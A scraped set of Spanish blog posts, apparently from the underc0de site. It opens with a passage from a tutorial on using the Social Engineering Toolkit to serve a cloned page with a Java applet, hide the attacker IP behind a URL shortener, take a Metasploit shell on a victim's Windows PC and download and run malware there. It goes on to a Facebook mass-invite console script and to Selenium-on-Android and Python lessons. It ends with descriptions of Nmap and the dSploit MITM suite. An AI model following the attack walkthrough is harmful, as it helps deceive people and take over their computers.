Finalmente, nos arroja una IP y un Puerto. Esa IP, es la que configuramos anteriormente y la que usaremos para atacar. Para que quede menos sospechoso, a esa IP la podemos ocultar con algún acortador de URL para que pase desapercibido.

Atacando al Objetivo

Ya estamos en la última parte del tutorial. En mi caso al ser en local, pondré esa IP (solo la IP) en el navegador de la pc que voy a atacar y veamos que pasa…



Como podemos ver, me cargo el clon de la página y me apareció una alerta en Java. Si doy click en Ejecutar, tenemos la Shell!

Posiblemente la consola que tenemos abierta con SET se vuelva loca y empiece a tirar líneas sola, eso es normal. Quiere decir que todo se ejecuto correctamente. Una vez que se detenga, presionamos Enter y podremos escribir. Tipeamos lo siguiente: sessions –l


Esto nos mostrara las sesiones activas. Yo seleccionare la 1, ya que es en la que esta mi pc con Windows a la que estoy atacando.


Asique ahora tipeo: sessions –i  1



Y Listooo!!
Como podemos ver, ya hemos logrado tener Shell en la pc que atacábamos!
Ahora podemos ejecutar comando a nuestro gusto!
Como por ejemplo: start /wait firefox.exe “http://underc0de.org”


Y nos abrirá la página de underc0de.

Otra cosa que podemos hacer es entrar a un FTP, descargar un archivo y luego ejecutarlo. De esta forma podríamos descargar un malware y ejecutarlo en la pc a la que estamos atacando. O también con wget en caso de ser Linux.
De ahora en más depende de nuestra imaginación lo que queramos hacer.

Despedida

Esto es todo por ahora, espero que les sea de utilidad. Quiero agradecer a [C]orrupted[B]yte, ya que por el me inicie con SET y la verdad es que es una herramienta muy útil.


Script auto subscribe facebook

$
0
0

Hola a todos, quizas mas de uno se ha pasado buscando este script y hoy se los facilito para que puedan utilizarlo.

El funcionamiento de este script es invitar a todos los contactos a suscribirse a un grupo. Ideal para aumentar el numero de gente en un grupo de facebook.

Lo unico que necesitamos es Chrome ya que lo ejecutaremos desde su consola de comandos.

Empezamos... Abrimos Chrome, nos logueamos en Facebook y nos vamos al grupo a aumentar las visitas


Una vez ahi, presionamos F12 y hacemos click en Console

 
Ahora pegamos el siguiente codigo en la consola:


 
Una vez pegado el codigo, presionamos ENTER y solo comenzara a invitar gente al grupo



Lo unico que debemos modificar del script es la url: https://www.facebook.com/groups/184470758242928/ por la url de su grupo.
Esta URL aparece al principio del script y al final

Espero que les sea de utilidad!

ANTRAX

Automatizaciones en Android con Selenium II

$
0
0




1 – Introducción

En este documento voy a mostrar como lanzar automatizaciones en un dispositivo móvil con android, que puede ser teléfono o tablet y con eclipse elaboraremos un script que por medio de Selenium II será ejecutado en el dispositivo.

Los elementos que vamos a utilizar para este tutorial serán los siguientes:

-        Dispositivo móvil con Android y el USB (En mi caso es un Motorola XT300) o puede ser un emulador que lo encontramos dentro del SDK que descargaremos.
-        Android SDK (http://developer.android.com/sdk/index.html) Incluye Eclipse
-        Android Server APK (http://code.google.com/p/selenium/downloads/list)
-        Librerias de Selenium - Java (http://seleniumhq.org/download)
-        Conexion WIFI a internet

 2 – Integración de ADB

Descargamos Android SDK y lo descomprimimos. Copiamos la carpeta SDK y Eclipse y la pondremos en el disco C (Creandole una carpeta para alojar a ambos)
En mi caso los metí dentro de una carpeta llamada android y me quedo en esta ruta:

c:\android

Lo que sigue ahora es definir la variable de entorno. Para que el equipo me reconozca el adb que viene dentro del SDK.

Para ello vamos a:

Inicio >> Panel de control >> Sistema >> Configuraciones avanzadas del sistema

Una vez ahí dentro, nos dirigimos a la pestaña Avanzada >> Variables de entorno

Editamos el PATH y colocamos la ruta en la que copiamos el SDK. Deberíamos tener algo como esto:



Añadimos un punto y coma después de la ultima ruta, colocando la nuestra. En mi caso es

c:\android\sdk\platform-tools

Si todo quedo correcto, deberíamos poder colocar “adb” en una consola y debería traer los parámetros del mismo

Inicio >> cmd >> adb



Si llegamos hasta acá, quiere decir que todo está perfecto. De lo contrario, lo más seguro es que este mal definido el PATH.

3 – Instalación de drivers USB

Tomamos nuestro dispositivo móvil y vamos a activar el modo de depuración

Configuraciones >> Aplicaciones >> Desarrollo

Y tildamos “Depuración de USB”

Una vez hecho esto, conectamos el dispositivo a la PC y abrimos eclipse que está en la carpeta que creamos en el disco C.

Abrimos el Android SDK Manager y descargamos los USB Drivers. Al estar conectado el dispositivo móvil, identifica que drivers utiliza y descargara e instalara automáticamente los drivers necesarios.



Para saber si todo quedo bien instalado, abrimos una consola y tipeamos

adb devices

Y esto debería devolvernos un número de serie que es nuestro dispositivo conectado.



Si llegamos hasta acá, es por que venimos muy bien! En caso de lanzar error, es porque el driver del dispositivo, no fue bien instalado.

4 – Instalación de Android Server en el móvil

Abrimos una consola y nos paramos en el directorio en donde se encuentra el Android Server APK. Una vez ahi, escribimos la siguiente línea:

adb -s [serialId] -e install -r [APK]

En donde el serialId es el serial de nuestro dispositivo móvil y APK es el nombre con el cual descargaron el Android Server. Debería quedarles algo como esto:

adb -s 003089349226000000000000 -e install -r android-server-2.6.0.apk



Si nos aparece el Success como en la imagen, es porque quedo bien instalado.

Ahora iniciaremos la aplicación en el móvil con el siguiente comando

adb -s [serialId] shell am start -a android.intent.action.MAIN -n org.openqa.selenium.android.app/.MainActivity

Automáticamente, se iniciara en el móvil la aplicación WebDriver (recuerden reemplazar el SerialId por el de ustedes)



Finalmente seteamos el puerto de escucha con el siguiente comando

adb -s [serialId] forward tcp:8080 tcp:8080

5 – Creación del proyecto e importación de librerías

Abrimos eclipse y creamos un nuevo proyecto.

File >> New >> Java Project


Asignamos un nombre al proyecto y una ubicación, seguido a esto, damos click en Next.

Vamos a la pestaña de librerías y pulsamos el boton Add External JARs...

Añadimos la librería de android.jar que está dentro de:

sdk >> platforms >> android-4.2

Y las de selenium que descargamos



Finalmente clickeamos en Finish

6 – Ejecutando nuestro primer Script

File >> New >> JUnit Test Case

Le colocamos un nombre y damos click en Finish



Borramos lo que tenemos dentro del cuadro de código y colocamos el siguiente:

importorg.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
importorg.openqa.selenium.android.AndroidDriver;


publicclassandroidtest {
               
privatestaticWebDriver driver;
   
    @Before
    publicvoid setUp() {
        driver= newAndroidDriver();
       driver.get("http://underc0de.org");
    }
   
    @After
    publicvoid tearDown(){
        driver.close();
        driver.quit();
    }

@Test

publicvoidmeasurePerformance() throwsInterruptedException {
    Thread.sleep(3000);
    driver.findElement(By.className("readViewMoreBtn")).click();

}
}



Ejecutamos el Test Case y podremos verlo en nuestro móvil. Al finalizar, nos mostrara el resultado si se corrió bien o mal.

7 – Emulando el ambiente de prueba

Presionamos el icono del dispositivo móvil (ADV) que está en el eclipse. Y crearemos un nuevo dispositivo



Le asignamos un nombre, elegimos la resolución de pantalla y la versión de android, luego damos click en ok.


Seleccionamos el emulador, presionamos Start y luego Launch, y se abrirá el emulador.



Una vez hecho esto, los pasos para lanzar la prueba son los mismos que la anterior, es decir, repetimos los pasos del punto 4, que eran los de instalar el andoird server en el móvil.

Finalmente, lanzamos el test con eclipse



Y con esto podremos hacer más scripts y lanzar las pruebas contra el emulador.

Espero que les haya gustado y les sirva.


ANTRAX

Taller de Python #1

$
0
0

Introducción a Python

En este taller veremos Python desde cero. Empezaremos por descargar nuestro interprete e iremos avanzando en conocimientos hasta llegar a desarrollar nuestros propios programas.
Python es un lenguaje scripting por lo tanto se interpreta en lugar de compilarse, a diferencia de otros lenguajes que es necesario pasarlos a binarios para que puedan ejecutarse.
Es un lenguaje multiplataforma, ya que no solo se usa en Windows, sino que también se puede usar en Linux, MAC, etc.
Una de las ventajas es que es un lenguaje muy prolijo y entendible a la hora de programarlo y esto facilita la tarea de aprenderlo.
A lo largo de este taller, veremos lo potente e importante que puede ser saber Python.

Instalación

Windows de 32 o 64 bits?

Lo que primero debemos hacer, es saber si nuestro sistema operativo es de 32 o 64 bits. Para ello vamos a:

Inicio >> Panel de control >> Sistema
 
En mi caso estoy utilizando un sistema operativo de 32 bits.
Lo que necesitaremos para poder programar en este lenguaje, será un editor de texto y el interprete de Python.
Con respecto al editor de texto, pueden utilizar cualquiera que les agrade o les resulte cómodo, yo utilizare Sublime Text 2

Y al intérprete de Python

Instalación en Windows

En la pagina del interprete, podremos ver lo siguiente: 

NOTA: Usaremos por ahora Python 2.x debido a que es la versión estable. Mas adelante, veremos algo de Python 3.x

Una vez descargado, ejecutamos el MSI que descargamos


Es muy importante saber la ruta en donde se instalara. Yo les recomiendo dejarla en donde viene por defecto que es en C:\Python27\
Damos en Next y continuamos la instalación hasta que finalice

Ahora abrimos una consola:
INICIO > EJECUTAR > COMMAND (En Windows 95,98)
INICIO > EJECUTAR > CMD (En Windows XP)
INICIO > EN LA BARRA BUSCAR > CMD (En Windows Vista y 7)
Y dentro de la consola escribimos python, lo mas probable, es que les aparezca el siguiente error:

"python" no se reconoce como un comando interno o externo, programa o archivo por lotes ejecutable.

Esto se debe a que no esta añadido en las variables de entorno, asique tipeamos lo siguiente:
PATH C:\Python27;%PATH%

Presionamos enter, cerramos la consola y la volvemos a abrir… Ahora si tipeamos python, debería aparecernos algo como esto:


Esto nos indica que lo hemos hecho bien, y ya podemos comenzar a programar.

Instalación en Linux

La instalacion en Linux es mucho mas facil… abrimos una consola (CTRL + ALT + T) y tipeamos:
sudo apt-get install python
Y esto nos instalara Python en linux.
Luego al comienzo de cada script, debemos añadir la linea:
#! /usr/bin/pyhton27
Para que el intérprete busque ahí las librerías.

Primeros pasos en Python 

Comenzaremos con programas básicos. Como dijimos en la introducción, Python es un lenguaje scripting ya que no es necesario compilarlo para poder ver el programa en funcionamiento.
Dentro de la consola, pondremos 5+7 y veremos lo que pasa

 

Rápidamente nos hará el cálculo.
Python se caracteriza por ser una potente calculadora. Es por eso que ahora probaremos con algo más avanzado.
En la consola pondremos 56+28-34*6
 

Ahora también podemos trabajar con variables, asignándoles algún valor.
Podemos probar con X=7
Seguido a esto colocamos 105*X


Hasta el momento se ve muy fácil y básico, aunque también muy tedioso ya que tipear comandos desde la consola no es muy gustoso, es por eso que ahora armaremos nuestro primer script.

Operadores Aritmeticos

 A continuación veremos los operadores que se suelen utilizar con frecuencia en Python.

 

Nuestro Primer Script

Abrimos nuestro editor de texto y haremos el famoso "Hola Mundo"
Dentro del editor pondremos:
print "Hola Mundo"


La sintaxis print sirve para mostrar una cadena de valores en pantalla. Un poco mas adelante lo veremos mas en detalle.
Ahora lo guardamos (CTRL + S) o (File >>Save As..), lo guardamos con extension *.py y nos aseguramos que en tipo de archivo diga “All Files (*.*)”

 

Y ahora lo correremos nuestro script desde la consola.
Es importante saber en donde guardamos nuestro script, yo lo hice en el escritorio, asique desde la consola, debemos pararnos en el directorio en donde esta guardado y tipeamos
python taller1.py
 
Y nos muestra nuestro Hola mundo…

Variables

Las variables en Python pueden estar formadas por letras o números, pero siempre deben comenzar con letras o un guion bajo. Algo a tener en cuenta, es que este lenguaje es sensible a mayúsculas y minúsculas. Es decir, para el intérprete no es lo mismo "A" que "a".

Las variables en Python pueden ser de tipo:

Numerica:

Enteros (Ej: 7) Son números positivos y negativos, que no poseen decimales.
Dentro de los enteros, tenemos dos tipos, Cortos (int) o Largos (long) expresados de la siguiente forma:
Entero_corto = 7
Entero_largo = 7L
Flotante (Ej: 7,9) Son todos números reales que posean decimales y se representan como (float)
Flotante = 1.345
Compleja o imaginaria (Ej: 2+3i) Son aquellos que poseen una parte real y otra imaginaria y se representan como (complex)
Imag = 4.3 + 7i
Cadenas de Texto: (Ej: "ANTRAX"), las cadenas de texto es simplemente texto y pueden estar entre comillas dobles o simples
Ej1 = "ANTRAX"
Ej2 = 'ANTRAX'
Booleano: True, False (Verdadero o Falso), Estos dos son muy utilizados en bucles o condiciones.

Concatenaciones

Como vimos antes, es posible sumar, restar, multiplicar, dividir, etc… Pero no solo se hace con números sino que también con letras, palabras y variables.
Realizaremos el siguiente ejemplo:

Como resultado tendremos


Ya que sumo las dos cadenas de texto, la del Hola y X que tenia almacenado otra cadena de texto.
Otra forma de concatenar dos cadenas de texto seria:
print "Hola" + "underc0de"
Y con eso obtendremos el mismo resultado que la forma anterior.
Ahora veremos un ejemplo un poco más complejo, en donde concatenaremos números, variables y cadenas de texto

Explico rápidamente, guarde mi nick en la variable a, luego en el print, lo que hice fue mostrar la cadena de texto "hola" concatenado con la variable "a" que es mi Nick, hasta aquí tenemos "hola ANTRAX" luego lo concatene con "el resultado de 145 + 34 es" y hasta aquí tendríamos "hola ANTRAX el resultado de 145 + 34 es" finalmente para concatenar con números, es necesario colocar una coma. Aquí lo que hace es resolver la suma algebraica de 145+34 y como resultado final tenemos:

 Comentarios

 Los comentarios sirven para ayudar a entender el código, para explicar una función o simplemente agregar algún texto.
Es importante saber que estos comentarios no son ejecutados a la hora de correr el programa. Para colocar un comentario, solo basta con poner el carácter numeral, seguido del comentario. Ejemplo:
#esto es un comentario
Aquí lo mostrare en el editor de texto:


Los comentarios suelen ser útiles a la hora de hacer publico un script, de esta forma, la persona que lo lea pueda entender mejor que hace cada función del código.

Python desde Android

Como parte extra de este taller, les enseñare a instalar Pythonen algún dispositivo móvil con Android, para que puedan programar desde el.
Lo que necesitamos descargar el ultimo APK del SL4a. Actualmente la última versión es la r6.
Instalamos como cualquier apk de android y lo abrimos.

 Presionamos en View
 Entramos a Interpreters

Y agregamos a Python… A demás de python, como podrán ver, pueden agregar Perl, Ruby, PHP entre otros

 Al presionar sobre Python, lo comienza a descargar

 
 Luego lo instalamos
 

Esto suele demorar algunos minutos en descargar los módulos y librerías


Una vez que termine, veremos algo como esto


 Volvemos a abrir SL4a y podremos ver scripts de muestra hechos en Python


Finalmente clickeando sobre alguno de ellos, tendremos la opción de editarlos o ejecutarlos.

Ejercitacion

1.- Realizar un código que concatene 3 variables, de las cuales 2 sean numéricas.
El usuario X lleva Y días y Z horas conectado
2.- Realizar un código para cada uno de los siguientes ejercicios. Cada número debe ser una variable
a. 273 * 4 + 97 * 5 – 1200 / 6
b. 1470 / 5 + 400 * 2 - 49**2
c. 15**5 / 50 – 37 * 4
Todos los resultados deben mostrarse de la siguiente forma:
El resultado es:

NMAP para Android

$
0
0

NMAP (Network Mapper o Mapeador de Redes) es una herramienta para scannear puertos abiertos. Se diseño para explorar grandes redes, aunque funciona a perfecto también para hacer mapeos a equipos individuales. A demás de puertos, también dice que servicio lo utiliza y sus versiones. Otra de las cosas que suele mostrar es que filtros o cortafuegos tiene, y a veces hasta el sistema operativo que tiene el equipo entre otras docenas de cosas.
Nmap es una herramienta que se usa mucho en auditorias de seguridad y a demás muchos la usan con fines delictivos. Lo primordial es su tabla de puertos con sus estados que son los siguientes: 

Closed: Cerrado
Open: Abierto
Filtred: Filtrado
Unfiltred: No Filtrado

Abierto significa que la aplicación en la máquina destino se encuentra esperando conexiones o paquetes en ese puerto. Filtrado indica que un cortafuego, filtro, u otro obstáculo en la red está bloqueando el acceso a ese puerto, por lo que Nmap no puede saber si se encuentra abierto o cerrado.  Los puertos cerrados no tienen ninguna aplicación escuchando en los mismos, aunque podrían abrirse en cualquier momento. Los clasificados como no filtrados son aquellos que responden a los sondeos de Nmap, pero para los que que Nmap no puede determinar si se encuentran abiertos o cerrados.
A lo largo de este tutorial se encontraran con parámetros en mayúsculas y minúsculas, es muy importante que los respeten ya que varia su función.

Nota: Solo funciona en telefonos rooteados

DSPLOIT - Una suite de android para pentesting

$
0
0

Nacido dsploit Android aplicación para las pruebas de penetración y evaluación contemplaba seguridad.

¿QUÉ ES DSPLOIT?

dSploit es una suite para Android para el análisis y la penetración de la red, que tiene como objetivo ofrecer a los profesionales y los frikis de la herramienta de seguridad de TI profesional para realizar evaluación contemplaba red más avanzados y completos de seguridad en un dispositivo móvil. Una vez que inicie la aplicación, el usuario será capaz de mapear su red, identificar los sistemas operativos y servicios que se ejecutan en otros parámetros, la búsqueda de vulnerabilidades conocidas, crack procedimientos de conexión de los sistemas de autenticación más comunes, realizar ataques de hombre en el medio y por lo tanto tiene el control total del tráfico de la red, tanto sniffer pasivo con una contraseña y disector de los protocolos más comunes que la manipulación activa de paquetes en tiempo real desde y hacia otras máquinas en nuestro propio red, etc, etc.

DETALLES

Los requisitos para instalar y usar dSploit son:

Un dispositivo Android con al menos la versión 3.0 del sistema operativo.
El dispositivo debe ser necesariamente rootato.
Una instalación completa de busybox (por lo tanto todos los binarios instalados, que no forman parte de eso).

Viewing all 44 articles
Browse latest View live